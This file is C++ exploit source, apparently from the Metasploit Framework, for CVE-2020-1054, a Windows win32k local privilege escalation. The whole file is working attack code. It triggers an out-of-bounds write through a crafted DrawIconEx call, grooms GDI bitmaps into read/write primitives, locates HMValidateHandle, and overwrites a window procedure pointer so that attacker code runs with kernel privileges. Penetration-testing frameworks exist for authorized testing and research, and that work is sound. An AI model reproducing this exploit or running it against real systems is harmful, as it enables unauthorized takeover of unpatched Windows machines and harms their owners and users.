metasploit-framework/external/source/exploits/CVE-2020-1054/exploit.cpp

350 lines
8.9 KiB
C++

#include <stdio.h>
#include <windows.h>
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
//strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
// one should always call va_end in the same function one calls va_start.
}
#else
#define dprintf(...)
#endif
extern "C" NTSTATUS WndProc_fake(DWORD hWnd, DWORD msg, DWORD wParam, DWORD lParam);
typedef struct _HANDLEENTRY {
PVOID phead;
PVOID pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
WORD wRIPFlags;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
ULONG cHandleEntries;
} SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;
typedef struct _LARGE_STRING {
ULONG Length;
ULONG MaximumLength : 31;
ULONG bAnsi : 1;
PVOID Buffer;
} LARGE_STRING, *PLARGE_STRING;
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PVOID Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ReservedBits0 : 27;
};
ULONG EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
} PEB, *PPEB;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _TEB
{
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
}TEB, *PTEB;
PBYTE pManagerObj = nullptr;
PBYTE pWorkerObj = nullptr;
HBITMAP hManager = 0;
HBITMAP hWorker = 0;
#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
#endif
lHMValidateHandle pHmValidateHandle = NULL;
BYTE pvdata[0x70000];
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
dprintf("[-] Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
dprintf("[-] Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
dprintf("[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int *)((unsigned int)pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
int exploit(unsigned int xleft_offset, unsigned int oob_offset)
{
// Post KB (default)
unsigned int xleft_off = 0x8c0;
unsigned int oob_off = 0x240;
if (xleft_offset) {
xleft_off = xleft_offset;
}
if (oob_offset) {
oob_off = oob_offset;
}
dprintf("[+] Starting with offsets xleft = %p, oob = %p\n", xleft_off, oob_off);
LoadLibraryA("user32.dll");
HDC exploit_dc = CreateCompatibleDC(0x0);
PBYTE pExpBitmapObj = 0;
HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x51500, 0x100);
dprintf("[+] hExploitBit Handle address: %p\n", hExploitBit);
PTEB Teb = NtCurrentTeb();
PPEB Peb = Teb->ProcessEnvironmentBlock;
if (Peb == NULL)
{
return FALSE;
}
dprintf("[+] Peb Pointer address : %p\n", Peb);
PBYTE GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8);
if (GdiSharedHandleTable == NULL)
{
return FALSE;
}
dprintf("[+] GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable);
pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff));
dprintf("[+] dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj);
PBYTE oob_target =(PBYTE)((DWORD64)pExpBitmapObj & 0xfffffffffff00000) + 0x0000000100000000;
dprintf("[+] oob_target address: %p\n", oob_target);
HDC alloc_dc = CreateCompatibleDC(0x0);
DWORD64 extra_alloc = 0;
while (true)
{
HBITMAP hBitMap = CreateCompatibleBitmap(alloc_dc, 0x6f000, 0x8);
PBYTE pBitMapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hBitMap) & 0xffff));
if (pBitMapObj == 0) {
dprintf("[-] Ran out of memory allocating Bitmaps");
return 1;
}
if ((pBitMapObj >= oob_target) && (((DWORD64)pBitMapObj & 0x0000000000070000) == 0x70000))
{
pManagerObj = pBitMapObj;
hManager = hBitMap;
dprintf("[+] Find hManager = %p\n", pManagerObj);
}
if (pManagerObj > 0)
{
if (extra_alloc == 1)
{
pWorkerObj = pBitMapObj;
hWorker = hBitMap;
dprintf("[+] Find hWorker = %p\n", pWorkerObj);
}
if (extra_alloc > 1)
{
break;
}
extra_alloc += 1;
}
}
dprintf("[+] GetBitMapBits/Reading using oob_target...\n");
SelectObject(exploit_dc, hExploitBit);
//0xfffffffffebffffc
dprintf("[*] TriggerExploit\n");
DrawIconEx(exploit_dc, xleft_off, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
dprintf("[*] Creating ExploitWnd\n");
if (!FindHMValidateHandle()) {
dprintf("[!] Failed to locate HmValidateHandle, exiting\n");
return 1;
}
WNDCLASSEX wcx = {};
wcx.cbSize = sizeof(WNDCLASSEX);
wcx.lpfnWndProc = DefWindowProc;
wcx.lpszClassName = L"hongye";
RegisterClassEx(&wcx);
HWND hExploitwnd = CreateWindowExW(0,
L"#32772",
NULL,
WS_MINIMIZE | WS_DISABLED,
0,
0,
0,
0,
NULL,
NULL,
NULL,
NULL);
if (hExploitwnd == NULL)
{
dprintf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
return -1;
}
ULONG_PTR off_tagWND_pself = 0x20;
char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hExploitwnd, 1);
ULONG_PTR tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);
dprintf("[*] tagWND: 0x%p\n", (void*)tagWND);
//ULONG cb = 0x6fe18;
ULONG cb = (ULONG)(pWorkerObj + 0x50 - (pManagerObj + oob_offset));
dprintf("[*] cb 0x%p\n", cb);
//void* pvbits = //malloc(cb + sizeof(ULONG_PTR));
void* pvbits = pvdata;
dprintf("[*] hManager 0x%p\n", hManager);
dprintf("[*] hWorker 0x%p\n", hWorker);
DWORD dwRet = 0;
dwRet = GetBitmapBits(hManager, cb, pvbits);
if (!dwRet) {
dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError());
}
*(PULONG_PTR)((PBYTE)pvbits + cb) = (ULONG_PTR)tagWND + 0x90;
dwRet = SetBitmapBits(hManager, cb + sizeof(ULONG_PTR), pvbits);
if (!dwRet) {
dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
}
ULONG_PTR data = (ULONG_PTR)WndProc_fake;
ULONG_PTR orgdata = 0;
dwRet = GetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata);
if (!dwRet) {
dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError());
}
dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&data);
if (!dwRet) {
dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
}
SendMessage(hExploitwnd, WM_NULL, NULL, NULL);
//Cleanup
dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata);
if (!dwRet) {
dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
}
dprintf("[+] Completed!\n");
return 0;
}